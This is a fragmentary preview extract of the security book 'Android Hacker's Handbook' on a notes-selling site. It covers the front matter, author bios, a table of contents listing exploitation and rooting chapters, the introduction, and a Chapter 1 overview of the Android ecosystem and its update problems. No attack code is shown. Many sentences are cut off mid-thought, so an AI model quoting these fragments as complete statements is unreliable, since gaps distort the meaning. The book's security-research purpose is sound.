Search for notes by fellow students, in your own course and all over the country.

Browse our notes for titles which look like what you need, you can preview any of the notes via a sample of the contents. After you're happy these are the notes you're after simply pop them into your shopping cart.

My Basket

You have nothing in your shopping cart yet.

Title: Android Hacker's Handbook
Description: Android Hacker's Handbook

Document Preview

Extracts from the notes are below, to see the PDF you'll receive please use the links above


ffirs
...
indd 01:50:14:PM 02/28/2014 Page i

ffirs
...
Drake
Pau Oliva Fora
Zach Lanier
Collin Mulliner
Stephen A
...
indd 01:50:14:PM 02/28/2014 Page iii

Android™ Hacker’s Handbook
Published by
John Wiley & Sons, Inc
...
wiley
...
, Indianapolis, Indiana
ISBN: 978-1-118-60864-7
ISBN: 978-1-118-60861-6 (ebk)
ISBN: 978-1-118-92225-5 (ebk)
Manufactured in the United States of America
10 9 8 7 6 5 4 3 2 1
No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or by any means,
electronic, mechanical, photocopying, recording, scanning or otherwise, except as permitted under Sections 107 or
108 of the 1976 United States Copyright Act, without either the prior written permission of the Publisher, or authorization through payment of the appropriate per-copy fee to the Copyright Clearance Center, 222 Rosewood Drive,
Danvers, MA 01923, (978) 750-8400, fax (978) 646-8600
...
, 111 River Street, Hoboken, NJ 07030, (201) 748-6011, fax (201)
748-6008, or online at http://www
...
com/go/permissions
...
No warranty may be created or extended by sales or
promotional materials
...
This work
is sold with the understanding that the publisher is not engaged in rendering legal, accounting, or other professional
services
...

Neither the publisher nor the author shall be liable for damages arising herefrom
...
Further, readers should be aware that Internet Web sites listed in this work may have changed or disappeared between when this work was written and when it is read
...

Wiley publishes in a variety of print and electronic formats and by print-on-demand
...
If this book refers to media
such as a CD or DVD that is not included in the version you purchased, you may download this material at http://
booksupport
...
com
...
wiley
...

Library of Congress Control Number: 2013958298
Trademarks: Wiley and the Wiley logo are trademarks or registered trademarks of John Wiley & Sons, Inc
...
Android is a
trademark of Google, Inc
...
John Wiley & Sons, Inc
...


ffirs
...
Drake is a Director of Research Science at Accuvant LABS
...
He has over 10 years
of experience in the information security field including researching Linux
security since 1994, researching Android security since 2009, and consulting
with major Android OEMs since 2012
...
At BlackHat USA 2012, Georg and Joshua demonstrated successfully exploiting the Android 4
...
1 browser via NFC
...
He
won Pwn2Own in 2013 and won the DefCon 18 CTF with the ACME Pharm
team in 2010
...
He has previously worked as R+D Engineer in a wireless provider
...
His passion for smartphone security has
manifested itself not just in the numerous exploits and tools he has authored
but in other ways, such as serving as a moderator for the very popular XDADevelopers forum even before Android existed
...
His close involvement with and observation of the mobile security communities has him particularly excited to be a
part of pulling together a book of this nature
...
Zach has
been involved in various areas of information security for over 10 years
...
indd 01:50:14:PM 02/28/2014 Page v

vi

About the Authors

ranging from app security, to platform security (especially Android), to device,
network, and carrier security
...

He has presented at various public and private industry conferences, such
as BlackHat, DEFCON, ShmooCon, RSA, Intel Security Conference, Amazon
ZonCon, and more
...
His
main interest lies in security and privacy of mobile and embedded systems with
an emphasis on mobile and smartphones
...
Collin is known for his work on the (in)
security of the Multimedia Messaging Service (MMS) and the Short Message
Service (SMS)
...
Collin received a Ph
...
in computer science
from Technische Universität Berlin; earlier he completed his M
...
and B
...
in
computer science at UC Santa Barbara and FH Darmstadt
...
In that last few years Stephen has presented his research
and spoken about reverse engineering and software security on every continent
(except Antarctica)
...
com, a new kind of online bank
...
S defense contractor, where
he specialized in vulnerability research, reverse engineering, and “offensive
software” in support of the U
...
Defense and Intelligence community
...

Recently, Stephen and his work have been featured on NPR and NBC and in
Wired, the Washington Post, Fast Company, VentureBeat, Slashdot, The Register, and
other publications
...
Georg
particularly enjoys tinkering with the low-level parts in computer security;
hand-tuning custom-written shellcode and getting the last percent in exploit
reliability stable
...
At BlackHat USA 2012, Joshua and Georg demonstrated successfully
exploiting the Android 4
...
1 browser via NFC
...
With his local CTF team 0ldEur0pe, he participated in countless and won
numerous competitions
...
indd 01:50:14:PM 02/28/2014 Page vi

About the Technical Editor

Rob Shimonski (www
...
com) is a best-selling author and editor with
over 15 years’ experience developing, producing and distributing print media
in the form of books, magazines, and periodicals
...
Rob has worked for
countless companies that include CompTIA, Microsoft, Wiley, McGraw Hill
Education, Cisco, the National Security Agency, and Digidesign
...
He is a veteran of the US military and has been entrenched in security
topics for his entire professional career
...

Having worked with mobile phones practically since their inception, Rob is an
expert in mobile phone development and security
...
indd 01:50:14:PM 02/28/2014 Page vii

ffirs
...
0 Attribution License
...
indd 01:50:14:PM 02/28/2014 Page ix

ffirs
...
I thank my peers from both industry and academia;
their research efforts push the boundary of public knowledge
...
Last, but not
least, I thank the members of #droidsec, the Android Security Team, and the
Qualcomm Security Team for pushing Android security forward
...
Drake
I’d like to thank Iolanda Vilar for pushing me into writing this book and supporting me during all the time I’ve been away from her at the computer
...
Wiley and all
the coauthors of this book, for the uncountable hours we’ve been working on this
together, and specially Joshua Drake for all the help with my broken English
...

And finally all the folks at #droidsec irc channel, the Android Security community in G+, Nopcode, 48bits, and everyone who I follow on Twitter; without
you I wouldn’t be able to keep up with all the advances in mobile security
...
indd 01:50:14:PM 02/28/2014 Page xi

xii

Acknowledgments

I would like to thank Sally, the love of my life, for putting up with me; my
family for encouraging me; Wiley/Carol/Ed for the opportunity; my coauthors
for sharing this arduous but awesome journey; Ben Nell, Craig Ingram, Kelly
Lum, Chris Valasek, Jon Oberheide, Loukas K
...

— Zach Lanier
I would like to thank my girlfriend Amity, my family, and my friends and
colleagues for their continued support
...
Special thanks to
Joshua for making this book happen
...
Russell, and Imani
Russell, and my younger siblings: Gabriel Russell and Mecca Russell
...
Both
of my parents encouraged me immensely and my brother and sister never cease
to impress me in their intellect, accomplishments, and quality as human beings
...
I would also like to thank my beautiful fiancée, Kimberly Ann Hartson, for putting up with me through this whole process
and being such a loving and calming force in my life
...
The information security
community is a strange one, but one I “grew up” in nonetheless
...
I am quite honored to have been
given the opportunity to collaborate on this text
...
Ridley
I sincerely thank my wife, Eva, and son, Jonathan, for putting up with me
spending time writing instead of caring for them
...
I thank Joshua
for herding cats to make this book happen
...
indd 01:50:14:PM 02/28/2014 Page xii

Contents at a Glance

Introduction

xxv

Chapter 1

Looking at the Ecosystem

1

Chapter 2

Android Security Design and Architecture

25

Chapter 3

Rooting Your Device

57

Chapter 4

Reviewing Application Security

83

Chapter 5

Understanding Android’s Attack Surface

129

Chapter 6

Finding Vulnerabilities with Fuzz Testing

177

Chapter 7

Debugging and Analyzing Vulnerabilities

205

Chapter 8

Exploiting User Space Software

263

Chapter 9

Return Oriented Programming

291

Chapter 10

Hacking and Attacking the Kernel

309

Chapter 11

Attacking the Radio Interface Layer

367

Chapter 12

Exploit Mitigations

391

Chapter 13

Hardware Attacks

423

Appendix A Tool Catalog

485

Appendix B Open Source Repositories

501

Appendix C References

511

Index

523

xiii

ffirs
...
indd 01:50:14:PM 02/28/2014 Page xiv

Contents

Introduction
Chapter 1

xxv
Looking at the Ecosystem
Understanding Android’s Roots

1
1

Company History
Version History
Examining the Device Pool
Open Source, Mostly

2
2
4
7

Understanding Android Stakeholders
Google
Hardware Vendors
Carriers
Developers
Users

7
8
10
12
13
14

Grasping Ecosystem Complexities

15

Fragmentation
Compatibility
Update Issues
Security versus Openness
Public Disclosures

16
17
18
21
22

Summary
Chapter 2

23

Android Security Design and Architecture
Understanding Android System Architecture
Understanding Security Boundaries and Enforcement

25
25
27

Android’s Sandbox
Android Permissions

27
30

Looking Closer at the Layers

34

Android Applications
The Android Framework

34
39

xv

ftoc
...
indd 09:50:43:PM 03/04/2014 Page xvi

84
86
87
88
89

91
91
93
109
117

Contents
Case Study: SIP Client

120

Enter Drozer
Discovery
Snarfing
Injection

121
121
122
124

Summary
Chapter 5

126

Understanding Android’s Attack Surface
An Attack Terminology Primer

129
130

Attack Vectors
Attack Surfaces

130
131

Classifying Attack Surfaces

133

Surface Properties
Classification Decisions

133
134

Remote Attack Surfaces

134

Networking Concepts
Networking Stacks
Exposed Network Services
Mobile Technologies
Client-side Attack Surface
Google Infrastructure

134
139
140
142
143
148

Physical Adjacency

154

Wireless Communications
Other Technologies

154
161

Local Attack Surfaces

161

Exploring the File System
Finding Other Local Attack Surfaces

Physical Attack Surfaces

162
163

168

Dismantling Devices
USB
Other Physical Attack Surfaces

169
169
173

Third-Party Modifications
Summary
Chapter 6

174
174

Finding Vulnerabilities with Fuzz Testing
Fuzzing Background

177
177

Identifying a Target
Crafting Malformed Inputs
Processing Inputs
Monitoring Results

179
179
180
181

Fuzzing on Android
Fuzzing Broadcast Receivers

181
183

Identifying a Target
Generating Inputs
Delivering Inputs
Monitoring Testing

183
184
185
185

ftoc
...
indd 09:50:43:PM 03/04/2014 Page xviii

264
268

Contents
A History of Public Exploits

275

GingerBreak
zergRush
mempodroid

275
279
283

Exploiting the Android Browser

284

Understanding the Bug
Controlling the Heap

284
287

Summary
Chapter 9

290

Return Oriented Programming
History and Motivation

291
291

Separate Code and Instruction Cache

Basics of ROP on ARM

292

294

ARM Subroutine Calls
Combining Gadgets into a Chain
Identifying Potential Gadgets

295
297
299

Case Study: Android 4
...
1 Linker

300

Pivoting the Stack Pointer
Executing Arbitrary Code from a New Mapping

301
303

Summary
Chapter 10

308

Hacking and Attacking the Kernel
Android’s Linux Kernel
Extracting Kernels

309
309
310

Extracting from Stock Firmware
Extracting from Devices
Getting the Kernel from a Boot Image
Decompressing the Kernel

Running Custom Kernel Code
Obtaining Source Code
Setting Up a Build Environment
Configuring the Kernel
Using Custom Kernel Modules
Building a Custom Kernel
Creating a Boot Image
Booting a Custom Kernel

Debugging the Kernel
Obtaining Kernel Crash Reports
Understanding an Oops
Live Debugging with KGDB

Exploiting the Kernel
Typical Android Kernels
Extracting Addresses
Case Studies

Summary

311
314
315
316

316
316
320
321
322
325
329
331

336
337
338
343

348
348
350
352

364

ftoc
...
indd 09:50:43:PM 03/04/2014 Page xx

418
418
419
419

Contents
Looking to the Future

420

Official Projects Underway
Community Kernel Hardening Efforts
A Bit of Speculation

420
420
422

Summary
Chapter 13

422

Hardware Attacks
Interfacing with Hardware Devices

423
424

UART Serial Interfaces
I2C, SPI, and One-Wire Interfaces
JTAG
Finding Debug Interfaces

424
428
431
443

Identifying Components

456

Getting Specifications
Difficulty Identifying Components

Intercepting, Monitoring, and Injecting Data
USB
I2C, SPI, and UART Serial Interfaces

Stealing Secrets and Firmware

459
459
463

469

Accessing Firmware Unobtrusively
Destructively Accessing the Firmware
What Do You Do with a Dump?

Pitfalls

469
471
474

479

Custom Interfaces
Binary/Proprietary Data
Blown Debug Interfaces
Chip Passwords
Boot Loader Passwords, Hotkeys, and Silent Terminals
Customized Boot Sequences
Unexposed Address Lines
Anti-Reversing Epoxy
Image Encryption, Obfuscation, and Anti-Debugging

Summary

479
479
480
480
480
481
481
482
482

482

Appendix A Tool Catalog
Development Tools

485
485

Android SDK
Android NDK
Eclipse
ADT Plug-In
ADT Bundle
Android Studio

485
486
486
486
486
487

Firmware Extraction and Flashing Tools
Binwalk
fastboot

456
457

487
487
487

ftoc
...
indd 09:50:43:PM 03/04/2014 Page xxii

501
501
501
502

Contents
SoC Manufacturers
AllWinner
Intel
Marvell
MediaTek
Nvidia
Texas Instruments
Qualcomm
Samsung

OEMs

502
503
503
503
504
504
504
505
505

506

ASUS
HTC
LG
Motorola
Samsung
Sony Mobile

506
507
507
507
508
508

Upstream Sources
Others

508
509

Custom Firmware
Linaro
Replicant
Code Indexes
Individuals

509
510
510
510
510

Appendix C References

511

Index

523

ftoc
...
indd

01:24:53:PM 02/24/2014

Page xxiv

Introduction

Like most disciplines, information security began as a cottage industry
...
Information
security is evolving into a proving ground for some of these fascinating fields of
study
...

As we all very well know from our personal lives, mobile computing is quite
obviously one of the greatest recent areas of growth in the information technology
...

Unlike those devices, our mobile devices are always on, taken between these
two worlds, and are hence much more valuable targets for malicious actors
...
As a predominantly “reactionary”
industry, information security has been slow (at least publicly) to catch up to
mobile/embedded security research and development
...
These threats have consequently created a
market for security research and security products
...
indd

01:24:53:PM 02/24/2014

Page xxv

xxvi

Introduction

For information security researchers, the mobile space also represents a
fairly new and sparsely charted continent to explore, with diverse geography
in the form of different processor architectures, hardware peripherals, software
stacks, and operating systems
...

According to IDC, Android market share in Q3 2012 was 75 percent of the
worldwide market (as calculated by shipment volume) with 136 million units
shipped
...
9 percent of the market in the same quarter, BlackBerry
and Symbian followed behind with 4
...
3 percent respectively
...
9 percent and
the remaining 6
...

With that much market share, and a host of interesting information security
incidents and research happening in the Android world, we felt a book of this
nature was long overdue
...
The Android Hacker’s Handbook represents
the latest installment in the series and builds on the information within the
entire collection
...
There have been
some fantastic papers and published resources that feature Android, but much
of what has been written is either very narrow (focusing on a specific facet of
Android security) or mentions Android only as an ancillary detail of a security
issue regarding a specific mobile technology or embedded device
...
Despite the fact that
1,000 or more publicly disclosed vulnerabilities affect Android devices, multiple
popular sources of vulnerability information report fewer than 100
...


How This Book Is Organized
This book is intended to be readable cover to cover, but also serves as an indexed
reference for anyone hacking on Android or doing information security research
on an Android-based device
...
indd

01:24:53:PM 02/24/2014

Page xxvi

Introduction

virtually everything one would need to know to first approach Android for
security research
...
The general outline of this book begins with broader topics and ends
with deeply technical information
...
Where applicable, this book
refers to additional sources of detailed documentation
...



Chapter 1 introduces the ecosystem surrounding Android mobile devices
...
It concludes with a discussion of
high-level difficulties that challenge the ecosystem and impede Android
security research
...
It begins
with an introduction to the core concepts used to keep Android devices
secure
...




Chapter 3 explains the motivations and methods for gaining unimpeded
access to an Android device
...
Then it presents moderately detailed information about more than a dozen individually
published exploits
...
After discussing common security-critical mistakes made
during development, it walks you through the tools and processes used
to find such issues
...




Chapter 6 shows how to find vulnerabilities in software that runs on
Android by using a technique known as fuzz testing
...
The rest of the chapter takes a look
at how applying these processes toward Android can aid in discovering
security issues
...
It first presents techniques for debugging the

flast
...
It concludes with an analysis
of an unpatched security issue in the WebKit-based web browser
...
It covers compiler and operating system internals, like
Android’s heap implementation, and ARM system architecture specifics
...




Chapter 9 focuses on an advanced exploitation technique known as
Return Oriented Programming (ROP)
...
It ends by taking
a more detailed look at one particular exploit
...
It begins by explaining how
to hack, in the hobbyist sense, the Android kernel
...
Finally, it shows you how to exploit a
few publicly disclosed vulnerabilities
...
After discussing architectural details, this chapter covers how you
can interact with RIL components to fuzz the code that handles Short
Message Service (SMS) messages on an Android device
...
It begins with a perspective on when such protections
were invented and introduced in Android
...




Chapter 13 dives into methods and techniques for attacking Android, and
other embedded devices, through their hardware
...

It shows how these methods can enable further attacks against hard-toreach system components
...


Who Should Read This Book
The intended audience of this book is anyone who wants to gain a better
understanding of Android security
...


flast
...
Admittedly, some of the more technical chapters
are better suited to readers who are knowledgeable in topics such as assembly
language programming and reverse engineering
...


Tools You Will Need
This book alone will be enough for you to get a basic grasp of the inner workings
of the Android OS
...
First and foremost,
an Android device is recommended
...
Many of the chapters assume you will use a development machine with
Ubuntu 12
...
Finally, the Android Software Developers Kit (SDK), Android
Native Development Kit (NDK), and a complete checkout of the Android Open
Source Project (AOSP) are recommended for following along with the more
advanced chapters
...
While writing this
book, we developed code that supplements the material
...
wiley
...


Bon Voyage
With this book in your hand, you’re ready to embark on a journey through
Android security
...
Through your newly acquired wisdom, you
will be on the path to improving Android’s overall security posture
...
indd

01:24:53:PM 02/24/2014

Page xxix

xxix

flast
...
Although the word still
can refer to a humanoid robot, Android has come to mean much more than
that in the last decade
...
Some people
even call mobile devices Androids
...

This chapter looks closely at the composition and health of the Android
ecosystem
...
Then the
chapter breaks down the ecosystem stakeholders into groups in order to help
you understand their roles and motivations
...


Understanding Android’s Roots
Android did not become the world’s most popular mobile operating system
overnight
...
This section recounts how Android became what it is today and begins
looking at what makes the Android ecosystem tick
...
indd

01:14:5:PM 02/24/2014

Page 1

2

Chapter 1 ■ Looking at the Ecosystem

Company History
Android began as Android, Inc
...
They focused on creating
mobile devices that were able to take into account location information and
user preferences
...
, in August 2005
...

In November 2007, the Open Handset Alliance (OHA) was announced
...
In addition, it aims to accelerate mobile platform innovation and offer consumers a richer, less expensive, and better mobile
experience
...
Members represent all parts of the mobile ecosystem, including
mobile operators, handset manufacturers, semiconductor companies, software
companies, and more
...
openhandsetalliance
...
html
...

However, Google still did not bring any devices running Android to the market
...
The release of the first publicly available Android phone,
the HTC G1, marked the beginning of an era
...
The Alpha releases where available only to Google and OHA
members, and they were codenamed after popular robots Astro Boy, Bender, and
R2-D2
...

The first commercial version, version 1
...
1, was available on February 9, 2009
...

Starting with Android 1
...

Version 1
...
Figure 1-1 shows all commercial Android
versions, with their respective release dates and code names
...
indd

01:14:5:PM 02/24/2014

Page 2

Chapter 1 ■ Looking at the Ecosystem

Figure 1-1: Android releases

c01
...
android
...
html
...
The first letter represents the
code name of the Android release (J is Jelly Bean)
...
The third letter and subsequent two digits
comprise a date code
...
In the example, P represents the fourth quarter
of 2012
...
In the example,
P40 is November 10, 2012
...
The first builds for a particular date,
signified with A, don’t usually use this letter
...
In the past few years, Android has been slowly branching out from the
typical smartphone and tablet market, finding its way into the most unlikely
of places
...
The automotive industry is
beginning to use Android as an infotainment platform in vehicles
...
All of these facts
make the Android device pool an extremely diverse place
...
Currently,
most mobile subscribers get subsidized devices through their mobile carriers
...
Those who do not want to be tied to a carrier can also purchase
Android devices in consumer electronics stores or online
...


Google Nexus
Nexus devices are Google’s flagship line of devices, consisting mostly of smartphones and tablets
...
They are sold SIMunlocked, which makes switching carriers and traveling easy, through Google
Play directly by Google
...
indd

01:14:5:PM 02/24/2014

Page 4

Chapter 1 ■ Looking at the Ecosystem

Samsung, LG, and ASUS to create Nexus smartphones and tablets
...


Figure 1-2: Google Nexus devices

Nexus devices are meant to be the reference platform for new Android
versions
...
These devices serve as an open platform
for developers
...

Google also provides factory images, which are binary firmware images that can
be flashed to return the device to the original, unmodified state
...
This means that the user interface has not been
modified
...
This also includes Google’s proprietary apps such as
Google Now, Gmail, Google Play, Google Drive, Hangouts, and more
...
Some
sources include ComScore, Kantar, IDC, and Strategy Analytics
...
According to a report released
by Goldman Sachs, Android was the number one player in the entire global
computing market at the end of 2012
...
statcounter
...
3 percent worldwide as

c01
...
Despite these small variations, all sources seem to agree that
Android is the dominating mobile operating system
...
Google regularly publishes a dashboard showing the relative percentage of devices running a given
version of Android
...
The most up-to-date
version of this dashboard is available at http://developer
...
com/about/
dashboards/
...
Figure 1-3 depicts the chart as of this writing, which
includes data from December 2009 to February 2013
...
0 Unported license) http://
en
...
org/wiki/File:Android_historical_version_
distribution
...
It
takes in excess of one year to get a new version running on 90 percent of devices
...


c01
...
At its foundation, the Android operating system is built upon many
different open source components
...
All of these software
components have an Open Source Initiative (OSI)–approved license
...
0 of the Apache Software License
that you can find at apache
...
0
...
Two examples are the Linux kernel code that is
licensed under GPLv2 and the WebKit project that uses a BSD-style license
...

Although the vast majority of the Android stack is open source, the resulting
consumer devices contain several closed source software components
...
Examples include boot loaders, peripheral firmware, radio
components, digital rights management (DRM) software, and applications
...

However, keeping them closed source hinders interoperability, making community porting efforts more challenging
...
Evidence shows that Google develops
Android largely in secret
...
Instead, open source releases accompany new
version releases
...
In fact, the source code for Android Honeycomb (3
...
0) was
released
...
Events like these detract from
the spirit of open source software, which goes against two of Android’s stated
goals: innovation and openness
...

Not only does it provide perspective, but it also allows one to understand who
is responsible for developing the code that supports various components
...


c01
...

Each group is from a different field of industry and serves a particular purpose in the ecosystem
...
Hardware fabricators
make the underlying hardware components and peripherals
...
Carriers provide voice and data access for mobile devices
...

Figure 1-4 shows the relationships between the main groups of ecosystem
stakeholders
...
As the figure clearly shows, the Android ecosystem is very
complex
...
Before getting into those
issues, it’s time to discuss each group in more detail
...
Its responsibilities include legal administration, brand

c01
...
Also, Google builds its line of Nexus devices in close
cooperation with its partners
...

Google’s ability to execute on all of these tasks well is what makes Android
appealing to consumers
...
OEMs cannot legally brand their devices as Android devices or provide access to Google
Play unless the devices meet Google’s compatibility requirements
...
) Because Android is open source, compatibility enforcement is one of the few ways that Google can influence what other stakeholders
can do with Android
...

The next role of Google relates to the software and hardware infrastructure
needed to support Android devices
...
Also, Google runs Google
Play, which includes rich media content delivery in the form of books, magazines, movies, and music
...
Additionally, Google runs the
physical servers behind these services in their own data centers, and the company provides several crucial services to the AOSP, such as hosting the AOSP
sources, factory image downloads, binary driver downloads, an issue tracker,
and the Gerrit code review tool
...
Internally, it
treats the Android project as a full-scale product development operation
...
As mentioned previously,
Google develops innovations and enhancements for future Android versions in
secret
...
When Google decides
its software is ready for release, it publishes factory images, source code, and
application programming interface (API) documentation simultaneously
...
After a release
is in AOSP, everyone can clone it and start their work building their version of
the latest release
...
As true as this may be, closed
development detracts from the credence of AOSP as an open source project
...
Google provides third-party developers with

c01
...

All of these efforts help create a cohesive and consistent experience across multiple third-party applications
...


Hardware Vendors
The purpose of an operating system is to provide services to applications and
manage hardware connected to the device
...
The hardware
of today’s smartphones is very complex
...
In
order to take a closer look at the stakeholders in this group, the following sections break down hardware vendors into three subgroups that manufacture
central processing units (CPUs), System-on-Chip (SoC), and devices, respectively
...
Instead, native binaries are compiled for the specific processor used by a
particular device
...
Similarly, Android’s Native
Development Kit (NDK) includes tools for developing user-space native code
for all application processor architectures supported by Android
...

Due to its low power consumption, the ARM architecture has become the
most widely used architecture in mobile devices
...
ARM offers several microprocessor core
designs, including the ARM11, Cortex-A8, Cortex-A9, and Cortex-A15
...

In 2011, Intel and Google announced a partnership to provide support for
Intel processors in Android
...
Also, Intel
launched the Android on Intel Architecture (Android-IA) project
...
The
Android-IA website at https://01
...
intel
...

Some Intel-based smartphones currently on the market include an Intel proprietary binary translator named libhoudini
...


c01
...
In 2009, MIPS Technologies ported Google’s Android operating
system to the MIPS processor architecture
...
This is
especially true for set-top boxes, media players, and tablets
...
imgtec
...
asp
...
For example,
many SoCs used in smartphones include a baseband processor
...
Combining
the components on a single chip reduces manufacturing costs and decreases
power consumption, ultimately leading to smaller and more efficient devices
...
Within ARM devices, there are four main SoC families in use: OMAP from
Texas Instruments, Tegra from nVidia, Exynos from Samsung, and Snapdragon
from Qualcomm
...
You can find a full list of licensees on ARM’s website at www
...

com/products/processors/licensees
...
With the exception of Qualcomm,
SoC manufacturers use ARM’s designs without modification
...

Each SoC has different components integrated into it and therefore requires
different support in the Linux kernel
...
Each tree includes
SoC-specific code including drivers and configurations
...
This situation contributes to
one of the key complexities in the Android ecosystem, which is discussed
further in the “Grasping Ecosystem Complexities” section later in this chapter
...
They decide which
combination of hardware and software will make it into the final unit and take
care of all of the necessary integration
...
Usually device manufacturers

c01
...
Most choices
made when creating a new device relate directly to market differentiation,
targeting a particular customer segment, or building brand loyalty
...
This task includes adding
new kernel device drivers, proprietary bits, and user-space libraries
...
To comply with the GPLv2 license of the Android kernel, OEMs are
forced to release kernel sources
...
0 License, which allows modifications to be redistributed
in binary form without having to release the source code
...
For
example, the Sense and Touchwiz user interface modifications made by HTC and
Samsung are implemented primarily in the Android Framework
...
For example, customizations may
introduce new security issues
...


Carriers
Aside from providing mobile voice and data services, carriers close deals with
device manufacturers to subsidize phones to their clients
...
These builds
tend to have the carrier logo in the boot screen, preconfigured Access Point Name
(APN) network settings, changes in the default browser home page and browser
bookmarks, and a lot of pre-loaded applications
...

In addition to adding customization to the device’s firmware, carriers also have
their own quality assurance (QA) testing procedures in place
...

It is very common to see an OEM patch a security hole in the operating system
for its unbranded device while the carrier-branded device remains vulnerable
for much longer
...
After they have been available
for some time, usually around 12 to 18 months, devices are discontinued
...
After that point, any users still using such a device will no longer
receive updates, regardless of whether they are security related or not
...
indd

01:14:5:PM 02/24/2014

Page 12

Chapter 1 ■ Looking at the Ecosystem

Developers
As an open source operating system, Android is an ideal platform for
developers to play with
...
There are a lot of individual developers and entities who contribute to AOSP on their own behalf
...
During
the code review process, someone from Google decides whether to include or
exclude the changes
...
A huge portion of developers in the ecosystem are application
developers
...
Whether
these goals are productivity, entertainment, or otherwise, app developers aim
to meet the needs of their user base
...

App markets in the Android ecosystem offer developers incentives in the form of
revenue sharing
...
In order to maximize their profits, app developers
try to become extremely popular while maintaining an upstanding reputation
...


Custom ROMs
The same way manufacturers introduce their own modifications to the Android
platform, there are other custom firmware projects (typically called ROMs) developed by communities of enthusiasts around the world
...
With 9
...
These community-modified versions of
Android usually include performance tweaks, interface enhancements, features,
and options that are typically not found in the official firmware distributed with
the device
...
Further, similar to the situation with OEMs, modifications made in
custom ROMs may introduce additional security issues
...
To prevent users from using
custom ROMs, they place technical obstacles such as locked boot loaders or

c01
...
However, custom ROMs have grown more popular because
they provide continued support for older devices that no longer receive official
updates
...
Over time, some have started shipping
devices with unlocked or unlockable boot loaders, similar to Nexus devices
...
Although each individual user has unique needs and desires,
they can be classified into one of three categories
...


Consumers
Since Android is the top-selling smartphone platform, end users enjoy a wide
range of devices to choose from
...
Consumers usually look for a productivity boost, to stay
organized, or stay in touch with people in their lives, to play games on the go
and to access information from various sources on the Internet
...

The openness and flexibility of Android is also apparent to consumers
...
Further, consumers can extensively customize their devices by installing third-party launchers, home screen widgets, new input methods, or even
full custom ROMs
...


Power Users
The second type of user is a special type of consumer called power users in this
text
...
For example, users who want to enable Wi-Fi tethering on their devices are considered members of this group
...
They are much less averse to the risk of making unofficial changes to
the Android operating system, including running publicly available exploits to
gain elevated access to their devices
...
indd

01:14:5:PM 02/24/2014

Page 14

Chapter 1 ■ Looking at the Ecosystem

Security Researchers
You can consider security researchers a subset of power users, but they have
additional requirements and differing goals
...
Regardless of their motivations, security researchers aim to
discover previously unknown vulnerabilities in Android
...
When elevated
access is not available, researchers usually seek to obtain elevated access first
...

Achieving the goals of a security researcher requires deep technical knowledge
...

Most researchers are competent in developing, reading, and writing several different programming languages
...
It’s common for security researchers to
study security concepts and operating system internals at great length, including staying on top of cutting edge information
...


Grasping Ecosystem Complexities
The OHA includes pretty much all major Android vendors, but some parties
are working with different goals
...
This leads
to various partnerships between manufacturers and gives rise to some massive
cross-organizational bureaucracy
...
With around 40 percent
market share, Samsung produces dynamic random access memory (DRAM)
and NAND memory even for devices made by competitors of its mobile phones
division
...
Still, this is not the full extent of the complexities that
plague the Android ecosystem
...
Fragmentation in both hardware and software causes complications, only some of which are addressed by
Google’s compatibility standards
...
indd

01:14:5:PM 02/24/2014

Page 15

15

16

Chapter 1 ■ Looking at the Ecosystem

remains a significant challenge for all of the ecosystem stakeholders
...
Members of the security research
community are troubled with the dilemma of deciding between security and
openness
...
The following sections discuss each of these
problem areas in further detail
...
The open nature of Android
makes it ideal for mobile device manufacturers to build their own devices based
off the platform
...
Each device is composed of a variety of
software and hardware, including OEM or carrier-specific modifications
...
Because of all of these differences, consumers, developers,
and security researchers wrestle with fragmentation regularly
...
Consumers accustomed to using Samsung
devices who switch to a device from HTC are often met with a jarring experience
...
The same is also true for longtime Nexus device
users who switch to OEM-branded devices
...
Still,
this facet of fragmentation is relatively minor
...
Issues primarily arise when developers attempt to support
the variety of devices in the device pool (including the software that runs on
them)
...
Although
using the emulator can help, it’s not a true representation of what users on actual
devices will encounter
...

Samsung has more than 15 different screen sizes for its Android devices, ranging
from 2
...
1 inches
...
Dealing with all of
this fragmentation is no easy task, but thankfully Google provides developers
with some facilities for doing so
...
indd

01:14:5:PM 02/24/2014

Page 16

Chapter 1 ■ Looking at the Ecosystem

Developers create applications that perform well across different devices, in
part, by doing their best to hide fragmentation issues
...
When an app is designed properly, Android automatically adjusts
application assets and UI layouts appropriately for the device
...
A good example is an application
that requires a touchscreen
...
The Android application Support Library transparently deals with
some API-level differences
...
Developers are left to do their best in these corner
cases, often leading to frustration
...

For security, fragmentation is both positive and negative, depending mostly on
whether you take the perspective of an attacker or a defender
...
This makes finding
flaws that affect a large portion of the ecosystem difficult
...
In
many cases, developing a universal exploit (one that works across all Android
versions and all devices) is not possible
...
Quite simply put, this is an
insurmountable task
...
An attack surface
present on one device might not be present on another
...
Due to these challenges, fragmentation simultaneously makes the job
of an auditor more difficult and helps prevent large-scale security incidents
...
Google, as
the originator of Android, is charged with protecting the Android brand
...
To ensure device manufacturers comply with
the hardware and software compatibility requirements set by Google, the company publishes a compatibility document and a test suite
...


c01
...
android
...
Some hardware must be present on
all Android devices
...
2 specifies that all
device implementations must include at least one form of audio output, and
one or more forms of data networking capable of transmitting data at 200K
bit/s or greater
...
If certain peripherals are included, the CDD specifies
some additional requirements
...
Devices must follow CDD requirements to bear the Android
moniker and, further, to ship with Google’s applications and services
...

CTS tests are designed to be integrated into continuous build systems of the
engineers building a Google-certified Android device
...

As previously mentioned, OEMs tend to heavily modify parts of the Android
Framework
...
This ensures that application developers have a consistent development experience regardless of who
produced the device
...

Since May 2011, the CTS has included a test category called security that centralizes tests for security bugs
...
googlesource
...


Update Issues
Unequivocally, the most important complexity in the Android ecosystem relates
to the handling of software updates, especially security fixes
...

Problems keeping up with upstream open source projects, technical issues with
deploying operating system updates, lack of back-porting, and a defunct alliance

c01
...
Overall, this is the single largest factor contributing to the large number of insecure devices in use in the Android ecosystem
...
Updates for apps are handled differently than
operating system updates
...
This is true whether the app is written by
Google, OEMs, carriers, or independent developers
...
The process for creating and deploying these types of updates is far
more arduous
...
A patch for such an issue begins with Google fixing the issue first
...
For Nexus devices, the
updated firmware can be released directly to end users at this point
...
In another twist, OEMs can deliver the updated
firmware directly to end users of unlocked OEM devices at this point
...
Even in this simple example, the update
path for operating system vulnerabilities is far more complicated than application updates
...


Update Frequency
As previously mentioned, new versions of Android are adopted quite slowly
...
In
April 2013, the American Civil Liberties Union (ACLU) filed a complaint with
the Federal Trade Commission (FTC)
...
S
...
They further state that this is true even if Google has
published updates to fix exploitable security vulnerabilities
...
It’s no surprise that people are looking for government action
on the matter
...
The time between bug reporting and fix development is often
short, on the order of days or weeks
...
indd

01:14:5:PM 02/24/2014

